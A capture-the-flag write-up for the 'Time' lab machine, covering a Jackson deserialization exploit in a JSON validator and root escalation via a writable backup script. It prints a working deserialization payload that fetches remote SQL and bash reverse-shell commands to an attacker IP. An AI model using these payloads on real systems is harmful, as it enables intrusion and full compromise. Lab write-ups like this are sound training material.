Time Write-Up


Contents

Intro


Time is a fun box! The foothold was a little difficult, but root is ridiculously easy.

Foothold


root@kali:~# nmap -sV -sC time.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser

We have only a webserver on port 80:

This web app is a JSON Beautifier and Validator. Basically you can paste in a Javascript object and it will format it and check for any syntax errors. We can see there is a drop down menu with two options in it:

It seems that validation and beautification are done separately. However "(beta!)" hints that the target for us to exploit is likely the library used for the validation process. By just passing it an invalid JSON string we can read the error in the output section, hopefully this will give us a clue as to the library used.

Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test string': was expecting 'null', 'true', 'false' or NaN

It seems that this web app uses Jackson. It's a Java library to parse, serialize or map java objects to JSON and vice versa. After a quick search for Jackson exploits I came across this github repo. Reading though this PoC we can see that this seems to be a deserialization vulnerability. Deserialization is the process of taking data structured from some format, and rebuilding it into an object. For a more in depth read check out the OWASP Deserialization Cheat Sheet.

So here is my method for modifying and using this PoC: First I created a new folder poc, inside I made a file called inject.sql and copied the code from the git repo into it, then I launched a web server in that folder using python -m SimpleHTTPServer and started a Netcat listener on port 4444. Next I edited the inject.sql payload and replaced it with a bash reverse shell:

CALL SHELLEXEC('wget http://10.10.14.34:8000/test.txt;bash -i >& /dev/tcp/10.10.14.34/4444 0>&1')

NOTE: I put in a wget request to the server hosting my inject.sql as a debugging measure. This allowed me to monitor the code execution since a GET request for test.txt will appear in the logs.

Lastly it's time for the payload to put into the web app. I grabbed the jruby payload from the git repo and modified it by removing the backslash's and changing the RUNSCRIPT address:

["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.34:8000/inject.sql'"}]

Root


This should pop your netcat shell, now it's on to privilege escalation. Let's check all processes running as root using ps aux. One of them stands out:

root        8433  0.0  0.0   6972  3304 ?        Ss   02:13   0:00 /bin/bash /usr/bin/timer_backup.sh

Seems to be a shell script running called timer_backup.sh, lets go and take a look at it in /usr/bin:

-rwxrw-rw-  1 pericles pericles       88 Nov  7 02:15 timer_backup.sh

Well, Pericles (the user we are) has read and write privileges and is executed by root, taking a look inside we see this script:

#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip

The script puts all files inside /var/www/html into a zip called website.bak.zip then moves that zip into /root/backup.zip. Simply adding a bash reverse shell at the end of this script should give us a shell when the script is next executed:

#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip && bash -i >& /dev/tcp/10.10.14.34/4445 0>&1
root@time:~# whoami && id

root
uid=0(root) gid=0(root) groups=0(root)

Thanks for reading! Good luck on your next box!